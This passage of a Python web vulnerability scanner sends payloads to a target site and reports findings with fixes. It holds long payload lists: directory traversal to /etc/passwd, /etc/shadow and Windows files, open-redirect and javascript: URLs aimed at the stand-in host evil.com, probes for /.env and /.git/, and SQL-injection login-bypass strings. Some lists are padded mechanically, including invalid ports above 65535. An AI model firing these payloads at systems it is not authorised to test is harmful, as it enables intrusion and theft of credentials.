            '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
            '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
            
            # Mixed Path Traversal
            '../../../windows/win.ini',
            '../../../../windows/win.ini',
            '../../../../../windows/win.ini',
            '../../../../../../windows/win.ini',
            '../../../../../../../windows/win.ini',
            '../../../../../../../../windows/win.ini',
            '../../../../../../../../../windows/win.ini',
            '../../../../../../../../../../windows/win.ini',
            '../../../../../../../../../../../windows/win.ini',
            '../../../../../../../../../../../../windows/win.ini',
            
            # Shadow File Access
            '../../../../etc/shadow',
            '../../../../../etc/shadow',
            '../../../../../../etc/shadow',
            '../../../../../../../etc/shadow',
            '../../../../../../../../etc/shadow',
            '../../../../../../../../../etc/shadow',
            '../../../../../../../../../../etc/shadow',
            '../../../../../../../../../../../etc/shadow',
            '../../../../../../../../../../../../etc/shadow',
            '../../../../../../../../../../../../../etc/shadow',
            
            # Boot Files
            '../../../boot.ini',
            '../../../../boot.ini',
            '../../../../../boot.ini',
            '../../../../../../boot.ini',
            '../../../../../../../boot.ini',
            '../../../../../../../../boot.ini',
            '../../../../../../../../../boot.ini',
            '../../../../../../../../../../boot.ini',
            '../../../../../../../../../../../boot.ini',
            '../../../../../../../../../../../../boot.ini',
            
            # URL Encoded Path Traversal
            '..%2F..%2F..%2Fetc%2Fpasswd',
            '..%2F..%2F..%2F..%2Fetc%2Fpasswd',
            '..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd',
            '..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd',
            '..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd',
            '..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd',
            '..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd',
            '..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd',
            '..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd',
            '..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd',
            
            # Double Dot Path Traversal
            '....//....//....//etc/passwd',
            '....//....//....//....//etc/passwd',
            '....//....//....//....//....//etc/passwd',
            '....//....//....//....//....//....//etc/passwd',
            '....//....//....//....//....//....//....//etc/passwd',
            '....//....//....//....//....//....//....//....//etc/passwd',
            '....//....//....//....//....//....//....//....//....//etc/passwd',
            '....//....//....//....//....//....//....//....//....//....//etc/passwd',
            '....//....//....//....//....//....//....//....//....//....//....//etc/passwd',
            '....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd',
            
            # Alternative Separators
            '..%5C..%5C..%5Cwindows%5Csystem32%5Cdrivers%5Cetc%5Chosts',
            '..%5C..%5C..%5C..%5Cwindows%5Csystem32%5Cdrivers%5Cetc%5Chosts',
            '..%5C..%5C..%5C..%5C..%5Cwindows%5Csystem32%5Cdrivers%5Cetc%5Chosts',
            '..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Csystem32%5Cdrivers%5Cetc%5Chosts',
            '..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Csystem32%5Cdrivers%5Cetc%5Chosts',
            '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Csystem32%5Cdrivers%5Cetc%5Chosts',
            '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Csystem32%5Cdrivers%5Cetc%5Chosts',
            '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Csystem32%5Cdrivers%5Cetc%5Chosts',
            '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Csystem32%5Cdrivers%5Cetc%5Chosts',
            '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Csystem32%5Cdrivers%5Cetc%5Chosts',
            
            # Null Byte Injection
            '../../../etc/passwd%00',
            '../../../../etc/passwd%00',
            '../../../../../etc/passwd%00',
            '../../../../../../etc/passwd%00',
            '../../../../../../../etc/passwd%00',
            '../../../../../../../../etc/passwd%00',
            '../../../../../../../../../etc/passwd%00',
            '../../../../../../../../../../etc/passwd%00',
            '../../../../../../../../../../../etc/passwd%00',
            '../../../../../../../../../../../../etc/passwd%00',
            
            # Double Encoding
            '%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd',
            '%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd',
            '%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd',
            '%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd',
            '%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd',
            '%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd',
            '%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd',
            '%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd',
            '%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd'
        ]
        
        test_params = ['file', 'path', 'page', 'include', 'doc', 'document']
        
        for param in test_params:
            for payload in traversal_payloads:
                try:
                    test_url = f"{target_url}?{param}={urllib.parse.quote(payload)}"
                    response = self.session.get(test_url)
                    
                    # Check for file system indicators
                    file_indicators = [
                        'root:x:0:0:', '[boot loader]', '[fonts]',
                        'daemon:x:', 'bin:x:', 'sys:x:'
                    ]
                    
                    for indicator in file_indicators:
                        if indicator in response.text:
                            vulnerabilities.append({
                                'type': 'Directory Traversal',
                                'severity': 'High',
                                'risk_level': 'high',
                                'url': test_url,
                                'payload': payload,
                                'parameter': param,
                                'description': f'Directory traversal vulnerability in parameter "{param}"',
                                'evidence': indicator,
                                'recommendation': 'Implement proper path validation and access controls'
                            })
                            break
                            
                except Exception as e:
                    continue
        
        return vulnerabilities
    
    def check_open_redirect(self, target_url):
        """Check for open redirect vulnerabilities"""
        vulnerabilities = []
        
        redirect_payloads = [
            'http://evil.com',
            'https://google.com',
            '//evil.com',
            '/\\evil.com',
            'javascript:alert("redirect")',
            # Additional Open Redirect payloads
            'http://evil.com/',
            'https://evil.com/',
            'http://evil.com:80',
            'https://evil.com:443',
            'http://evil.com/path',
            'https://evil.com/path',
            'http://evil.com/path?param=value',
            'https://evil.com/path?param=value',
            'http://evil.com/path#fragment',
            'https://evil.com/path#fragment',
            '//evil.com/',
            '//evil.com/path',
            '//evil.com/path?param=value',
            '//evil.com/path#fragment',
            '/\\evil.com/',
            '/\\evil.com/path',
            '/\\evil.com/path?param=value',
            '/\\evil.com/path#fragment',
            'javascript:alert("redirect")',
            'javascript:alert(\'redirect\')',
            'javascript:alert(`redirect`)',
            'javascript:void(0)',
            'javascript:void(document.location="http://evil.com")',
            'javascript:void(window.location="http://evil.com")',
            'javascript:void(location.href="http://evil.com")',
            'javascript:void(document.location.href="http://evil.com")',
            'javascript:void(window.location.href="http://evil.com")',
            'javascript:void(location.replace("http://evil.com"))',
            'javascript:void(document.location.replace("http://evil.com"))',
            'javascript:void(window.location.replace("http://evil.com"))',
            'javascript:void(location.assign("http://evil.com"))',
            'javascript:void(document.location.assign("http://evil.com"))',
            'javascript:void(window.location.assign("http://evil.com"))',
            'data:text/html,<script>window.location="http://evil.com"</script>',
            'data:text/html,<script>document.location="http://evil.com"</script>',
            'data:text/html,<script>location.href="http://evil.com"</script>',
            'data:text/html,<script>window.location.href="http://evil.com"</script>',
            'data:text/html,<script>document.location.href="http://evil.com"</script>',
            'data:text/html,<script>location.replace("http://evil.com")</script>',
            'data:text/html,<script>document.location.replace("http://evil.com")</script>',
            'data:text/html,<script>window.location.replace("http://evil.com")</script>',
            'data:text/html,<script>location.assign("http://evil.com")</script>',
            'data:text/html,<script>document.location.assign("http://evil.com")</script>',
            'data:text/html,<script>window.location.assign("http://evil.com")</script>',
            '\\/\\/evil.com',
            '\\/\\/evil.com\\/',
            '\\/\\/evil.com\\/path',
            '\\/\\/evil.com\\/path?param=value',
            '\\/\\/evil.com\\/path#fragment',
            '\\\\evil.com',
            '\\\\evil.com\\',
            '\\\\evil.com\\path',
            '\\\\evil.com\\path?param=value',
            '\\\\evil.com\\path#fragment',
            'http:\\\\evil.com',
            'https:\\\\evil.com',
            'http:\\\\evil.com\\',
            'https:\\\\evil.com\\',
            'http:\\\\evil.com\\path',
            'https:\\\\evil.com\\path',
            'http:\\\\evil.com\\path?param=value',
            'https:\\\\evil.com\\path?param=value',
            'http:\\\\evil.com\\path#fragment',
            'https:\\\\evil.com\\path#fragment',
            'http://evil.com\\',
            'https://evil.com\\',
            'http://evil.com\\path',
            'https://evil.com\\path',
            'http://evil.com\\path?param=value',
            'https://evil.com\\path?param=value',
            'http://evil.com\\path#fragment',
            'https://evil.com\\path#fragment',
            'http://evil.com:80\\',
            'https://evil.com:443\\',
            'http://evil.com:80\\path',
            'https://evil.com:443\\path',
            'http://evil.com:80\\path?param=value',
            'https://evil.com:443\\path?param=value',
            'http://evil.com:80\\path#fragment',
            'https://evil.com:443\\path#fragment',
            'http://evil.com:8080',
            'https://evil.com:8443',
            'http://evil.com:8080/',
            'https://evil.com:8443/',
            'http://evil.com:8080/path',
            'https://evil.com:8443/path',
            'http://evil.com:8080/path?param=value',
            'https://evil.com:8443/path?param=value',
            'http://evil.com:8080/path#fragment',
            'https://evil.com:8443/path#fragment',
            'http://evil.com:8080\\',
            'https://evil.com:8443\\',
            'http://evil.com:8080\\path',
            'https://evil.com:8443\\path',
            'http://evil.com:8080\\path?param=value',
            'https://evil.com:8443\\path?param=value',
            'http://evil.com:8080\\path#fragment',
            'https://evil.com:8443\\path#fragment',
            'http://evil.com:8000',
            'https://evil.com:8000',
            'http://evil.com:8000/',
            'https://evil.com:8000/',
            'http://evil.com:8000/path',
            'https://evil.com:8000/path',
            'http://evil.com:8000/path?param=value',
            'https://evil.com:8000/path?param=value',
            'http://evil.com:8000/path#fragment',
            'https://evil.com:8000/path#fragment',
            'http://evil.com:9000',
            'https://evil.com:9000',
            'http://evil.com:9000/',
            'https://evil.com:9000/',
            'http://evil.com:9000/path',
            'https://evil.com:9000/path',
            'http://evil.com:9000/path?param=value',
            'https://evil.com:9000/path?param=value',
            'http://evil.com:9000/path#fragment',
            'https://evil.com:9000/path#fragment',
            'http://evil.com:3000',
            'https://evil.com:3000',
            'http://evil.com:3000/',
            'https://evil.com:3000/',
            'http://evil.com:3000/path',
            'https://evil.com:3000/path',
            'http://evil.com:3000/path?param=value',
            'https://evil.com:3000/path?param=value',
            'http://evil.com:3000/path#fragment',
            'https://evil.com:3000/path#fragment',
            'http://evil.com:5000',
            'https://evil.com:5000',
            'http://evil.com:5000/',
            'https://evil.com:5000/',
            'http://evil.com:5000/path',
            'https://evil.com:5000/path',
            'http://evil.com:5000/path?param=value',
            'https://evil.com:5000/path?param=value',
            'http://evil.com:5000/path#fragment',
            'https://evil.com:5000/path#fragment',
            'http://evil.com:7000',
            'https://evil.com:7000',
            'http://evil.com:7000/',
            'https://evil.com:7000/',
            'http://evil.com:7000/path',
            'https://evil.com:7000/path',
            'http://evil.com:7000/path?param=value',
            'https://evil.com:7000/path?param=value',
            'http://evil.com:7000/path#fragment',
            'https://evil.com:7000/path#fragment',
            'http://evil.com:8888',
            'https://evil.com:8888',
            'http://evil.com:8888/',
            'https://evil.com:8888/',
            'http://evil.com:8888/path',
            'https://evil.com:8888/path',
            'http://evil.com:8888/path?param=value',
            'https://evil.com:8888/path?param=value',
            'http://evil.com:8888/path#fragment',
            'https://evil.com:8888/path#fragment',
            'http://evil.com:9999',
            'https://evil.com:9999',
            'http://evil.com:9999/',
            'https://evil.com:9999/',
            'http://evil.com:9999/path',
            'https://evil.com:9999/path',
            'http://evil.com:9999/path?param=value',
            'https://evil.com:9999/path?param=value',
            'http://evil.com:9999/path#fragment',
            'https://evil.com:9999/path#fragment',
            'http://evil.com:10000',
            'https://evil.com:10000',
            'http://evil.com:10000/',
            'https://evil.com:10000/',
            'http://evil.com:10000/path',
            'https://evil.com:10000/path',
            'http://evil.com:10000/path?param=value',
            'https://evil.com:10000/path?param=value',
            'http://evil.com:10000/path#fragment',
            'https://evil.com:10000/path#fragment',
            'http://evil.com:20000',
            'https://evil.com:20000',
            'http://evil.com:20000/',
            'https://evil.com:20000/',
            'http://evil.com:20000/path',
            'https://evil.com:20000/path',
            'http://evil.com:20000/path?param=value',
            'https://evil.com:20000/path?param=value',
            'http://evil.com:20000/path#fragment',
            'https://evil.com:20000/path#fragment',
            'http://evil.com:30000',
            'https://evil.com:30000',
            'http://evil.com:30000/',
            'https://evil.com:30000/',
            'http://evil.com:30000/path',
            'https://evil.com:30000/path',
            'http://evil.com:30000/path?param=value',
            'https://evil.com:30000/path?param=value',
            'http://evil.com:30000/path#fragment',
            'https://evil.com:30000/path#fragment',
            'http://evil.com:40000',
            'https://evil.com:40000',
            'http://evil.com:40000/',
            'https://evil.com:40000/',
            'http://evil.com:40000/path',
            'https://evil.com:40000/path',
            'http://evil.com:40000/path?param=value',
            'https://evil.com:40000/path?param=value',
            'http://evil.com:40000/path#fragment',
            'https://evil.com:40000/path#fragment',
            'http://evil.com:50000',
            'https://evil.com:50000',
            'http://evil.com:50000/',
            'https://evil.com:50000/',
            'http://evil.com:50000/path',
            'https://evil.com:50000/path',
            'http://evil.com:50000/path?param=value',
            'https://evil.com:50000/path?param=value',
            'http://evil.com:50000/path#fragment',
            'https://evil.com:50000/path#fragment',
            'http://evil.com:60000',
            'https://evil.com:60000',
            'http://evil.com:60000/',
            'https://evil.com:60000/',
            'http://evil.com:60000/path',
            'https://evil.com:60000/path',
            'http://evil.com:60000/path?param=value',
            'https://evil.com:60000/path?param=value',
            'http://evil.com:60000/path#fragment',
            'https://evil.com:60000/path#fragment',
            'http://evil.com:70000',
            'https://evil.com:70000',
            'http://evil.com:70000/',
            'https://evil.com:70000/',
            'http://evil.com:70000/path',
            'https://evil.com:70000/path',
            'http://evil.com:70000/path?param=value',
            'https://evil.com:70000/path?param=value',
            'http://evil.com:70000/path#fragment',
            'https://evil.com:70000/path#fragment',
            'http://evil.com:80000',
            'https://evil.com:80000',
            'http://evil.com:80000/',
            'https://evil.com:80000/',
            'http://evil.com:80000/path',
            'https://evil.com:80000/path',
            'http://evil.com:80000/path?param=value',
            'https://evil.com:80000/path?param=value',
            'http://evil.com:80000/path#fragment',
            'https://evil.com:80000/path#fragment',
            'http://evil.com:90000',
            'https://evil.com:90000',
            'http://evil.com:90000/',
            'https://evil.com:90000/',
            'http://evil.com:90000/path',
            'https://evil.com:90000/path',
            'http://evil.com:90000/path?param=value',
            'https://evil.com:90000/path?param=value',
            'http://evil.com:90000/path#fragment',
            'https://evil.com:90000/path#fragment',
            'http://evil.com:65535',
            'https://evil.com:65535',
            'http://evil.com:65535/',
            'https://evil.com:65535/',
            'http://evil.com:65535/path',
            'https://evil.com:65535/path',
            'http://evil.com:65535/path?param=value',
            'https://evil.com:65535/path?param=value',
            'http://evil.com:65535/path#fragment',
            'https://evil.com:65535/path#fragment'
        ]
        
        test_params = ['redirect', 'url', 'next', 'return', 'goto', 'target', 'destination', 'dest', 'link', 'href', 'forward', 'forwardTo', 'forward_to', 'redirectTo', 'redirect_to', 'redirectUrl', 'redirect_url', 'redirectURI', 'redirect_uri', 'redirectPath', 'redirect_path', 'redirectLink', 'redirect_link', 'redirectHref', 'redirect_href', 'redirectForward', 'redirect_forward', 'redirectTarget', 'redirect_target', 'redirectDest', 'redirect_dest', 'redirectDestination', 'redirect_destination', 'redirectReturn', 'redirect_return', 'redirectGoto', 'redirect_goto', 'redirectNext', 'redirect_next', 'redirectUrl', 'redirect_url', 'redirectUri', 'redirect_uri', 'redirectPath', 'redirect_path', 'redirectLink', 'redirect_link', 'redirectHref', 'redirect_href', 'redirectForward', 'redirect_forward', 'redirectTarget', 'redirect_target', 'redirectDest', 'redirect_dest', 'redirectDestination', 'redirect_destination', 'redirectReturn', 'redirect_return', 'redirectGoto', 'redirect_goto', 'redirectNext', 'redirect_next']
        
        for param in test_params:
            for payload in redirect_payloads:
                try:
                    test_url = f"{target_url}?{param}={urllib.parse.quote(payload)}"
                    response = self.session.get(test_url, allow_redirects=False)
                    
                    # Check for redirect response
                    if response.status_code in [301, 302, 303, 307, 308]:
                        location = response.headers.get('Location', '')
                        if payload in location or 'evil.com' in location or 'google.com' in location:
                            vulnerabilities.append({
                                'type': 'Open Redirect',
                                'severity': 'Medium',
                                'risk_level': 'medium',
                                'url': test_url,
                                'payload': payload,
                                'parameter': param,
                                'description': f'Open redirect vulnerability in parameter "{param}"',
                                'evidence': f'Redirects to: {location}',
                                'recommendation': 'Validate redirect URLs against whitelist'
                            })
                            
                except Exception as e:
                    continue
        
        return vulnerabilities
    
    def check_csrf(self, target_url):
        """Check for CSRF protection"""
        vulnerabilities = []
        
        try:
            response = self.session.get(target_url)
            
            # Check for CSRF tokens in forms
            csrf_patterns = [
                r'<input[^>]*name=["\']?csrf[^"\']*["\']?[^>]*>',
                r'<input[^>]*name=["\']?_token[^"\']*["\']?[^>]*>',
                r'<input[^>]*name=["\']?authenticity_token[^"\']*["\']?[^>]*>'
            ]
            
            has_csrf_token = False
            for pattern in csrf_patterns:
                if re.search(pattern, response.text, re.IGNORECASE):
                    has_csrf_token = True
                    break
            
            # Check for forms without CSRF protection
            forms = re.findall(r'<form[^>]*>(.*?)</form>', response.text, re.DOTALL | re.IGNORECASE)
            for form in forms:
                if 'method="post"' in form.lower() and not has_csrf_token:
                    vulnerabilities.append({
                        'type': 'CSRF Vulnerability',
                        'severity': 'Medium',
                        'risk_level': 'medium',
                        'url': target_url,
                        'description': 'Form lacks CSRF protection',
                        'evidence': 'POST form without CSRF token detected',
                        'recommendation': 'Implement CSRF tokens in all state-changing forms'
                    })
                    break
                    
        except Exception as e:
            pass
        
        return vulnerabilities
    
    def check_info_disclosure(self, target_url):
        """Check for information disclosure"""
        vulnerabilities = []
        
        # Test for sensitive files
        sensitive_files = [
            '/robots.txt', '/.env', '/config.php', '/phpinfo.php',
            '/admin/', '/backup/', '/.git/', '/debug/',
            '/test/', '/tmp/', '/temp/', '/.htaccess'
        ]
        
        for file_path in sensitive_files:
            try:
                test_url = target_url + file_path
                response = self.session.get(test_url)
                
                if response.status_code == 200:
                    # Check content for sensitive information
                    sensitive_content = [
                        'password', 'secret', 'api_key', 'database',
                        'mysql', 'root', 'admin', 'config'
                    ]
                    
                    content_lower = response.text.lower()
                    for content in sensitive_content:
                        if content in content_lower:
                            vulnerabilities.append({
                                'type': 'Information Disclosure',
                                'severity': 'Medium',
                                'risk_level': 'medium',
                                'url': test_url,
                                'description': f'Sensitive file accessible: {file_path}',
                                'evidence': f'Contains: {content}',
                                'recommendation': 'Restrict access to sensitive files'
                            })
                            break
                            
            except Exception as e:
                continue
        
        return vulnerabilities
    
    def check_security_headers(self, target_url):
        """Check for missing security headers"""
        vulnerabilities = []
        
        try:
            response = self.session.get(target_url)
            headers = response.headers
            
            # Important security headers
            security_headers = {
                'X-Content-Type-Options': 'nosniff',
                'X-Frame-Options': 'DENY or SAMEORIGIN',
                'X-XSS-Protection': '1; mode=block',
                'Strict-Transport-Security': 'HSTS enabled',
                'Content-Security-Policy': 'CSP configured'
            }
            
            for header, description in security_headers.items():
                if header not in headers:
                    vulnerabilities.append({
                        'type': 'Missing Security Header',
                        'severity': 'Low',
                        'risk_level': 'low',
                        'url': target_url,
                        'description': f'Missing {header} header',
                        'evidence': f'Header not present: {header}',
                        'recommendation': f'Add {header} header for {description}'
                    })
                    
        except Exception as e:
            pass
        
        return vulnerabilities
    
    def check_ssl_config(self, target_url):
        """Check SSL/TLS configuration"""
        vulnerabilities = []
        
        if not target_url.startswith('https://'):
            vulnerabilities.append({
                'type': 'SSL/TLS Configuration',
                'severity': 'Medium',
                'risk_level': 'medium',
                'url': target_url,
                'description': 'Site not using HTTPS',
                'evidence': 'HTTP protocol detected',
                'recommendation': 'Implement HTTPS with valid SSL certificate'
            })
            return vulnerabilities
        
        try:
            hostname = urllib.parse.urlparse(target_url).hostname
            context = ssl.create_default_context()
            
            with socket.create_connection((hostname, 443), timeout=10) as sock:
                with context.wrap_socket(sock, server_hostname=hostname) as ssock:
                    cert = ssock.getpeercert()
                    
                    # Check certificate validity
                    import datetime
                    if cert and 'notAfter' in cert:
                        try:
                            not_after = datetime.datetime.strptime(cert['notAfter'], '%b %d %H:%M:%S %Y %Z')
                            
                            if not_after < datetime.datetime.now():
                                vulnerabilities.append({
                                    'type': 'SSL/TLS Configuration',
                                    'severity': 'High',
                                    'risk_level': 'high',
                                    'url': target_url,
                                    'description': 'SSL certificate expired',
                                    'evidence': f'Certificate expired on: {cert["notAfter"]}',
                                    'recommendation': 'Renew SSL certificate'
                                })
                        except (ValueError, KeyError):
                            pass
                        
        except Exception as e:
            vulnerabilities.append({
                'type': 'SSL/TLS Configuration',
                'severity': 'Medium',
                'risk_level': 'medium',
                'url': target_url,
                'description': 'SSL configuration error',
                'evidence': str(e),
                'recommendation': 'Check SSL certificate configuration'
            })
        
        return vulnerabilities
    
    def check_directory_enum(self, target_url):
        """Check for directory enumeration"""
        vulnerabilities = []
        
        common_dirs = [
            '/admin', '/administrator', '/wp-admin', '/phpmyadmin',
            '/cpanel', '/control', '/manager', '/login', '/dashboard'
        ]
        
        for directory in common_dirs:
            try:
                test_url = target_url + directory
                response = self.session.get(test_url)
                
                if response.status_code == 200:
                    vulnerabilities.append({
                        'type': 'Directory Enumeration',
                        'severity': 'Low',
                        'risk_level': 'low',
                        'url': test_url,
                        'description': f'Accessible directory found: {directory}',
                        'evidence': f'HTTP {response.status_code} response',
                        'recommendation': 'Restrict access to administrative directories'
                    })
                    
            except Exception as e:
                continue
        
        return vulnerabilities
    
    def check_file_upload(self, target_url):
        """Check for file upload vulnerabilities"""
        vulnerabilities = []
        
        try:
            response = self.session.get(target_url)
            
            # Look for file upload forms
            upload_patterns = [
                r'<input[^>]*type=["\']?file["\']?[^>]*>',
                r'enctype=["\']?multipart/form-data["\']?'
            ]
            
            for pattern in upload_patterns:
                if re.search(pattern, response.text, re.IGNORECASE):
                    vulnerabilities.append({
                        'type': 'File Upload',
                        'severity': 'Medium',
                        'risk_level': 'medium',
                        'url': target_url,
                        'description': 'File upload functionality detected',
                        'evidence': 'File upload form found',
                        'recommendation': 'Implement file type validation and size limits'
                    })
                    break
                    
        except Exception as e:
            pass
        
        return vulnerabilities
    
    def check_server_info(self, target_url):
        """Check for server information disclosure"""
        vulnerabilities = []
        
        try:
            response = self.session.get(target_url)
            headers = response.headers
            
            # Check for server information disclosure
            sensitive_headers = {
                'Server': 'Server version information disclosed',
                'X-Powered-By': 'Technology stack information disclosed',
                'X-AspNet-Version': 'ASP.NET version disclosed',
                'X-Generator': 'CMS/Framework information disclosed'
            }
            
            for header, description in sensitive_headers.items():
                if header in headers:
                    vulnerabilities.append({
                        'type': 'Server Information Disclosure',
                        'severity': 'Low',
                        'risk_level': 'low',
                        'url': target_url,
                        'description': description,
                        'evidence': f'{header}: {headers[header]}',
                        'recommendation': f'Remove or mask {header} header'
                    })
                    
        except Exception as e:
            pass
        
        return vulnerabilities
    
    def check_cookie_security(self, target_url):
        """Check for cookie security issues"""
        vulnerabilities = []
        
        try:
            response = self.session.get(target_url)
            cookies = response.cookies
            
            for cookie in cookies:
                issues = []
                
                # Check for missing security flags
                if not cookie.secure:
                    issues.append('Missing Secure flag')
                if 'HttpOnly' not in str(cookie):
                    issues.append('Missing HttpOnly flag')
                if 'SameSite' not in str(cookie):
                    issues.append('Missing SameSite attribute')
                
                if issues:
                    vulnerabilities.append({
                        'type': 'Cookie Security',
                        'severity': 'Medium',
                        'risk_level': 'medium',
                        'url': target_url,
                        'description': f'Insecure cookie: {cookie.name}',
                        'evidence': ', '.join(issues),
                        'recommendation': 'Set Secure, HttpOnly, and SameSite attributes'
                    })
                    
        except Exception as e:
            pass
        
        return vulnerabilities
    
    def check_auth_bypass(self, target_url):
        """Check for authentication bypass vulnerabilities"""
        vulnerabilities = []
        
        # Common authentication bypass payloads
        bypass_payloads = [
            'admin\' --',
            'admin\' #',
            'admin\'/*',
            'admin\' OR \'1\'=\'1',
            '\'OR 1=1--',
            '\' or 1=1#',
            '\' or 1=1/*',
            # Additional authentication bypass payloads
            'admin\' OR \'1\'=\'1\'--',
            'admin\' OR \'1\'=\'1\'#',
            'admin\' OR \'1\'=\'1\'/*',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\'--',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\'#',
            'admin\' OR \'1\'=\'1\' OR \'1\'=\'1\'/*',
            'admin\' OR \'a\'=\'a',
            'admin\' OR \'a\'=\'a\'--',
            'admin\' OR \'a\'=\'a\'#',
            'admin\' OR \'a\'=\'a\'/*',
            'admin\' OR \'a\'=\'a\' OR \'a\'=\'a',
            'admin\' OR \'a\'=\'a\' OR \'a\'=\'a\'--',
            'admin\' OR \'a\'=\'a\' OR \'a\'=\'a\'#',
            'admin\' OR \'a\'=\'a\' OR \'a\'=\'a\'/*',
            'admin\' OR 1=1',
            'admin\' OR 1=1--',
            'admin\' OR 1=1#',
            'admin\' OR 1=1/*',
            'admin\' OR 1=1 OR 1=1',
            'admin\' OR 1=1 OR 1=1--',
            'admin\' OR 1=1 OR 1=1#',
            'admin\' OR 1=1 OR 1=1/*',
            'admin\' OR \'x\'=\'x',
            'admin\' OR \'x\'=\'x\'--',
            'admin\' OR \'x\'=\'x\'#',
            'admin\' OR \'x\'=\'x\'/*',
            'admin\' OR \'x\'=\'x\' OR \'x\'=\'x',
            'admin\' OR \'x\'=\'x\' OR \'x\'=\'x\'--',
            'admin\' OR \'x\'=\'x\' OR \'x\'=\'x\'#',
            'admin\' OR \'x\'=\'x\' OR \'x\'=\'x\'/*',
            '\' OR \'1\'=\'1',
            '\' OR \'1\'=\'1\'--',
            '\' OR \'1\'=\'1\'#',
            '\' OR \'1\'=\'1\'/*',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\'--',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\'#',
            '\' OR \'1\'=\'1\' OR \'1\'=\'1\'/*',
            '\' OR \'a\'=\'a',
            '\' OR \'a\'=\'a\'--',
            '\' OR \'a\'=\'a\'#',
            '\' OR \'a\'=\'a\'/*',
            '\' OR \'a\'=\'a\' OR \'a\'=\'a',
            '\' OR \'a\'=\'a\' OR \'a\'=\'a\'--',
            '\' OR \'a\'=\'a\' OR \'a\'=\'a\'#',
            '\' OR \'a\'=\'a\' OR \'a\'=\'a\'/*',
            '\' OR 1=1',
            '\' OR 1=1--',
            '\' OR 1=1#',
            '\' OR 1=1/*',
            '\' OR 1=1 OR 1=1',
            '\' OR 1=1 OR 1=1--',
            '\' OR 1=1 OR 1=1#',
            '\' OR 1=1 OR 1=1/*',
            '\' OR \'x\'=\'x',
            '\' OR \'x\'=\'x\'--',
            '\' OR \'x\'=\'x\'#',
            '\' OR \'x\'=\'x\'/*',
            '\' OR \'x\'=\'x\' OR \'x\'=\'x',
            '\' OR \'x\'=\'x\' OR \'x\'=\'x\'--',
            '\' OR \'x\'=\'x\' OR \'x\'=\'x\'#',
            '\' OR \'x\'=\'x\' OR \'x\'=\'x\'/*',
            '1\' OR \'1\'=\'1',
            '1\' OR \'1\'=\'1\'--',
            '1\' OR \'1\'=\'1\'#',
            '1\' OR \'1\'=\'1\'/*',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\'--',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\'#',
            '1\' OR \'1\'=\'1\' OR \'1\'=\'1\'/*',
            '1\' OR \'a\'=\'a',
            '1\' OR \'a\'=\'a\'--',
            '1\' OR \'a\'=\'a\'#',
            '1\' OR \'a\'=\'a\'/*',
            '1\' OR \'a\'=\'a\' OR \'a\'=\'a',
            '1\' OR \'a\'=\'a\' OR \'a\'=\'a\'--',
            '1\' OR \'a\'=\'a\' OR \'a\'=\'a\'#',
            '1\' OR \'a\'=\'a\' OR \'a\'=\'a\'/*',
            '1\' OR 1=1',
            '1\' OR 1=1--',
            '1\' OR 1=1#',
            '1\' OR 1=1/*',
            '1\' OR 1=1 OR 1=1',
            '1\' OR 1=1 OR 1=1--',
            '1\' OR 1=1 OR 1=1#',
            '1\' OR 1=1 OR 1=1/*',
            '1\' OR \'x\'=\'x',
            '1\' OR \'x\'=\'x\'--',
            '1\' OR \'x\'=\'x\'#',
            '1\' OR \'x\'=\'x\'/*',
